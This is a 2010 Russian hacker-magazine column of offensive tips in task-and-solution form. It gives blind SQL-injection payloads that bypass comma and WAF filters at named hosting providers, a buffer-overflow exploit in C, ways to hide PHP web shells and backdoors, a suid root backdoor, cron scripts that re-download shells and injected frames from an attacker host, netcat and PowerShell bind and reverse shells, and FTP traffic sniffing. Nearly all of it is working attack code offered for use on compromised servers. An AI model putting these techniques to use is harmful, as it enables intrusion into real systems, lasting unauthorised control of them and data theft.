Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #134, ФЕВРАЛЬ 2010 г.

Хакерские секреты простых вещей

Spyder (spyder@antichat.net)
Андрей Комаров (komarov@itdefence.ru)


Задача: Обойти фильтрацию символов запятой при проведении SQL-Injection

Решение:
Задача не банальная. Хоть и встречается редко, но, как правило, ставит в тупик многих людей. Допустим, мы имеем такой код:

<?php
if(isset($_GET['id']) && $_GET['id']!=''){
$replaced = preg_replace(/,/,'',$_GET);
....

здесь какие-то запросы с использованием переменной $replaced

К чему же мы приходим? Невозможно использовать конструкцию union select, если в запросе участвует больше 2-х полей. ОК, крутим как слепую, скажешь ты. Но в данном случае большинство известных способов, таких как использование функций substring(), mid(), ExtractValue(), а также последние наработки Qwazar'a в области раскрутки слепых инъекций работать не будут. Что же делать? Будем использовать логику SQL-выражений, и здесь поможет нам LIKE.
Для начала узнаем версию:

id=1 and version() like '4%'--

Если запрос не удался, значит, версия отличная от 4*. Пробуем по-другому:

id=1 and version() like '5%'--

ОК, запрос такой же, как и при

id=1 and 1=1--

А это значит, что первый символ версии мы подобрали успешно. Я думаю, ты понял, что делать дальше, но я все же покажу.
Узнаем названия таблиц в information_schema.tables; желательно знать примерное название колонки, если нас интересует таблица с юзерами, я делаю обычно так:

id=1 and (select 1 from information_schema.columns where column_name like '%pass%' and table_name like 'u%')--

В данной конструкции '%pass%' остается неизменным, а подбираем мы именно table_name. Если первый запрос прошел удачно, тогда пробуем подобрать второй из символов:

id=1 and (select 1 from information_schema.columns where column_name like '%pass%' and table_name like 'us%')--

И так далее. Предположим, мы получили имя таблицы users и колонки username, password,id. Составим запрос на получение пароля из базы

id=1 and (select 1 from users where id=1 and password like 'q%')--

Подбирается по образу и подобию предыдущих запросов. Символ % в конструкции LIKE говорит о том, что после 'q' находится 1 и более любых символов.

Задача: Передать управление по определенному адресу в памяти посредством Buffer Overflow

Решение: Это, так сказать, один из первых шагов в написании эксплоитов и шелл-кодов для программ подверженных переполнению стека. Я не буду рассказывать про все аспекты работы с памятью, затрону лишь основное. Итак, имеем уязвимую программу:

#include "stdio.h"

void return_input (char *s) {
char array[12];
strcpy(array,s);
printf("%s\n", array);
}

char text () {
printf("Example\n");
}

main ( int argc, char *argv[] ) {
text();
return_input(argv[1]);
return 0;

}

В этом случае переменная array объявлена с установленным размером в 12 байт, но при копировании проверки на длину данных не происходит. Скомпилируем и попробуем передать программе больше 30 байт:

spyder@l33t:~/c> ./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Example
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ошибка сегментирования (core dumped)

Посмотрим на дамп памяти:

spyder@l33t:~/c> gdb bof core
............................
Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()

Символы 0x41 (A) переполнили стек и заполнили собой регистры ebp и eip. Регистр eip указывает на адрес возврата, область в памяти, куда должно перейти управление программы. Наша задача — подменить eip на нужное значение. Для примера вызовем функцию text() во второй раз. Для этого надо узнать ее адрес в памяти:

spyder@l33t:~/c> gdb bof
(gdb) disas main
Dump of assembler code for function main:
0x0804848d <main+0>: push %ebp
0x0804848e <main+1>: mov %esp,%ebp
0x08048490 <main+3>: and $0xfffffff0,%esp
0x08048493 <main+6>: sub $0x10,%esp
0x08048496 <main+9>: call 0x8048479 <text>
0x0804849b <main+14>: mov 0xc(%ebp),%eax
0x0804849e <main+17>: add $0x4,%eax
0x080484a1 <main+20>: mov (%eax),%eax
0x080484a3 <main+22>: mov %eax,(%esp)
0x080484a6 <main+25>: call 0x8048454 <return_input>
0x080484ab <main+30>: mov $0x0,%eax
0x080484b0 <main+35>: leave
0x080484b1 <main+36>: ret

Видим вызов функции text

0x08048496 <main+9>: call 0x8048479 <text>

В моем случае адрес — 0x08048496. Теперь напишем небольшой эксплоит для перезаписи адреса возврата значением 0x08048496. Для этого потребуется отправить программе 12 байт мусорного кода, которые заполнят стек, еще 4 байта, которые заполнят регистр ebp, и, наконец, наши 4 байты, которые попадут в регистр eip. Так как компилятор gcc использует определенную оптимизацию, нам нужно передать еще 6 байт мусорного кода.

В итоге сплоит выглядит так:

main () {
char stuff[]= "AAAAAAAAAAAAAAAAAAAAAAAA\x96\x84\x04\x08";
execlp("./bof","./bof",&stuff,NULL);
}

Стек работает с методом доступа к элементам LIFO (Last In - First Out, «последним пришел - первым вышел»), и поэтому мы указываем байты в обратном порядке. Пробуем запустить наш эксплоит:

spyder@l33t:~/c> ./eip
Example
AAAAAAAAAAAAAAAAAAAAAAAA??
Example

Как ты можешь видеть, функция text() выполнилась второй раз, что говорит о том, что мы удачно изменили адрес возврата.

Задача: Узнать имена колонок в таблице, зная ее название

Решение: Представлю недавно опубликованный на форуме sla.ckers.org юзером Paic способ, с помощью которого можно узнать имена колонок, если они имеют тип NOT NULL. Отправляем первый запрос, чтобы узнать, сколько колонок в нужной нам таблице:

id=1 and (select * from users) = (1)

В результате MySQL вернет ошибку «Operand should contain 7 column(s)». Это значит, что в таблице users 7 полей. Тогда составим логически верный запрос:

id=1 and (1,2,3,4,5,6,7) = (select * from users union select 1,2,3,4,5,6,7 limit 1)

Запрос верный и ошибки мы не увидим. А теперь о том, как узнать имена колонок. Для каждого поля в запросе поочередно подставляем последовательность символов %0 и, если у поля стоит ключ NOT NULL, мы увидим ошибку. Посмотрим на примере:

id=1 and (1,2,3,4,5,6,7) = (select * from users union select 1%0,2,3,4,5,6,7 limit 1)

В итоге видим ошибку – «Column 'id' cannot be null».

Задача: Закрепиться на взломанном сервере

Решение: Рассмотрим случай, если у нас права не root. Для начала нужно пробекдорить различные пшп-файлы функциями, через которые можно выполнять команды либо PHP-код. Вот небольшой их список. Самые палевные:

system()
passthru()
exec()
shell_exec()
pcntl_exec()
eval()

Эти функции очень быстро обнаруживаются админами, поэтому можно использовать менее популярные и менее известные:

assert()
preg_replace() c модификатором e
$a($b)
usort()
и другие

Следующее, что следует сделать — это расплодить и спрятать веб-шеллы. Если это какой-либо паблик двиг, вроде joomla, wordpress или vbulletin, то замаскировать шелл под окружение не очень сложно. Так же хорошей методикой считается маскировка шелла под нестандартные для PHP расширения. Рассмотрим такую ситуацию, когда в папке images много картинок, но все они имеют расширение .jpg. Мы можем спрятать наш шелл в .gif-картинке! Для этого создадим здесь .htaccess с таким содержимым:

AddType application/x-httpd-php .gif

Теперь все .gif-файлы будут выполняться как пшп-код

Ну а что же делать, когда мы получили рут на сервере и хотим его сохранить? Первым делом прочитай файл /etc/shadow, — в нем хранятся пароли всех пользователей системы. Стоит сказать, что руткитов под новые версии ядер не выпускали очень давно, а запуск старых в лучшем случае вызовет ошибку, а в худшем похоронит сервер. Основными вариантами закрепления на сервере являются: протроянивание OpenSSH и маскировка суидников. Про пакости в OpenSSH ты можешь прочитать в статье ShadOS’а, которую непременно найдешь в Гугле, а про суидники я расскажу прямо сейчас, благо, тут нет ничего сложного. Создаем на сервере файл suid.c, содержимое которого:

#include <stdio.h>
int main(int argc, char **argv){
system(argv[1]);
}

Компилируем его командой gcc suid.c -o suid. Суидник (хотя наверняка ты знаешь) - это исполняемый файл с suid-битом. Суид-бит позволяет выполнять программы от имени пользователя, к которому он принадлежит. Эта программа принимает параметр и вызывает функцию system(). Попробуем запустить ее без suid-бита:

./suid id
uid=30(www) gid=30(www)

А теперь из-под рута выполним команду:

chown 0:0 suid;chmod 4755 suid

И — выполним от пользователя www:

./suid id
uid=30(www) gid=30(www) egid=0(root)

Пусть тебя не смущает uid=30, теперь у нас полноценные права рута! Нужно как следует спрятать его в каталоге /usr/bin.

Задача: Обойти защиты Sweb и Peterhost хостингов

Решение: Эти хостинги отличаются защитой от различных атак, таких как PHP- и SQL-инъекции. Но на деле все защиты легко обходятся.

1) union select. Sweb - тут защита только в $_GET-переменных; если есть возможность отправить данные методом POST, то защита обходится.

Peterhost - фильтруются и $_GET, и $_POST переменные, но обходится еще проще; достаточно вместо пробела между словами union и select вставить любые другие пробельные символы, такие как символ табуляции, перевода каретки и прочее. Вот их неполный список:

%09
%0a
%0b
%0c
%0d

2) order by. В обоих случаях вместо order by можно использовать group by, про который сотрудники хостингов, видимо, не знают. Так же можно написать буквы в разных регистрах, oRdEr bY, либо использовать вышеперечисленные пробельные символы.

3) PHP-injection. На самом деле здесь абсолютно никакой защиты нет, разве что свеб хостинг пугает нас страшными ошибками, если в переменной указать /etc/passwd, хотя никто не помешает проверять наличие инклудов другими файлами, например /etc/hosts.

Задача: Настроить крон для постоянного наличия файла на сервере

Решение: Допустим, ты взломал сайт и очень хочешь, чтобы там остался твой шелл/фрейм/дор. Рассмотрим все ситуации подробно.

1) Шелл. Создадим файлик (назовем его cronshell.php) с содержимым:

<?php
$file = /home/user/www/shell.php;
if(file_exists($file) == false) {
copy('http://www.h4x0r.com/shell.txt', $file);
}
?>

Код будет проверять, существует ли файл на сервере и, если его нет, скопирует с твоего сайта. Кстати, убедись, что директива allow_url_fopen установлена в значение On, иначе используй функцию system() и команду wget.

2) Фрейм. Фрейм мы будем размещать в файле index.php, хотя ты можешь сделать это с любым другим файлом. Для начала скопируй файл index.php с фреймом внутри на удаленный сервер; это будет наш бэкап, на случай если админ заметит фрейм. Далее напишем скрипт cronframe.php:

<?php
$frame = 'здесь код твоего фрейма';
$frame = preg_quote($file,'/');
$file = file_get_contents('/home/user/www/index.php');
preg_match($frame,$result,$file); // проверяем файл на наличие фрейма
if ($result == '') { // если фрейма нет
system('rm /home/user/www/index.php'); // удаляем файл
copy('http://www.h4x0r.com/index.txt', '/home/user/www/index.php'); // и копируем на его место файл с фреймом
}
?>

3) Доры.

<?php
$testfile = '/home/user/www/dors/sitemap.html'; //файл для проверки наличия доров
if(file_exists($testfile) == false) { // проверяем на наличие файла и, если нет...
system('rm -rf /home/user/www/dors;mkdir /home/user/www/dors');
copy('http://www.h4x0r.com/dors.tgz', '/home/user/www/dors/'); // копируем архив с дорами в папку
system('tar xzf /home/user/www/dors/dors.tgz'); // и разархивируем его
}

?>

А теперь о том, как заставить крон обрабатывать наши файлы. Создадим в папке /home/user/ временный файл test:

SHELL=/bin/bash
MAILTO=user
0-59 * * * * /home/user/cron.php

Разберем его: первая строка указывает, какую шелл-оболочку нужно использовать, вторая, какому юзеру отправлять отчет о работе крона и, наконец, третья указывает, что файл /home/user/cron.php должен выполняться каждую минуту. Теперь занесем запись в таблицу, для этого выполним команду:

crontab /home/user/test

Готово! В каталоге /var/spool/cron будет создан файл «user» примерно с таким содержимым:

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/home/user/test installed on Mon Mar 29 02:31:34 2004)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
SHELL=/bin/bash
MAILTO=user
0-59 * * * * /home/user/cron.php

— и файл /home/user/cron.php будет запускаться каждую минуту.

Задача: научиться работать с netcat под Vista

Решение: Здесь нет ничего сложного, но есть уловка, которую немногие знают. Попробуй при вызове интерпретатора обратиться к powershell.exe, вместо привычного cmd.exe и посмотришь, что получится :).

Организация BindShell:

nc -l -e powershell.exe -t -p 666
telnet localhost 666

Организация ReverseShell:
nc -l -p 666
nc -e powershell.exe localhost 666

Еще один трюк связан с широкими возможностями PowerShell. Например, на нем можно создать клон netcat, только в скриптовой интерпретации:

function Trace-Port([int]$port=23, [string]$IPAdress="127.0.0.1", [switch]$Echo=$false){
$listener = new-object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Parse($IPAdress), $port)
$listener.start()
[byte[]]$bytes = 0..255|%{0}
write-host "Waiting for a connection on port $port..."
$client = $listener.AcceptTcpClient()
write-host "Connected from $($client.Client.RemoteEndPoint)"
$stream = $client.GetStream()
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$bytes[0..($i-1)]|%{$_}
if ($Echo){$stream.Write($bytes,0,$i)}
}
$client.Close()
$listener.Stop()
write-host "Connection closed."
}

Пример запуска сценария:

PS> Trace-Port -ip 192.168.1.99 -port 333
Waiting for a connection on port 333...

Now script waiting for connection on port 333. I will connect to this port using telnet.exe, and then write word "Test" into it:

Connected from 192.168.1.99:61829
84
101
115
116
13
10
Connection closed.

Соответственно, меняя «test»-параметр, ты можешь добиться успешной передачи команд на исполнение.

Задача: сделать визуализацию топологии из захваченного сетевого трафика

Решение: Подобные вещи умеет делать NMAP, правда, после передачи ему его же отчета либо при проведении сканирования. Движок там еще сыроват, при обилии хостов жутко виснет и делает работу невозможной. Поэтому предлагаю тебе немного другое решение.

1. Зададим какой-нибудь параметр для сбора трафика в файл .pcap:

tcpdump -w test.pcap -i eth1 tcp port 6881 or udp \( 33210 or 33220 \)

2. Сохраненный трафик скормим специальной программе - rumint (rumint.org), которая в два щелчка выдаст тебе топологическую карту в нескольких вариантах просмотра.

Задача: снифая сетку, перехватить файлы в явном виде по FTP

Решение: Современные сниферы позволяют нюхать трафик, но получать целые файлы - очень проблемно. Собирать в бинарном виде дату этих файлов и сохранять вручную - неудобно! Для автоматизации процесса существуют более простые программы, вроде FTPXerox v1.0 (members.fortunecity.com/sektorsecurity/projects/ftpxerox.html). Как только она палит, что где-то передается файл, то сразу перехватывает его и сохраняет локально.

Все, что требуется - только запустить программу. Предварительно надо перенаправить траф на себя, проведя одну из атак по несанкционированному сбору пользовательского трафика. Утилита открывает неразборчивый режим сетевой карты, поэтому опционально эта возможность должна быть поддерживаема твоим адаптером.

Софтинка имеет лишь одно ограничение - нет поддержки пассивного режима работы FTP. В остальном - работает без каких-либо глюков.

Содержание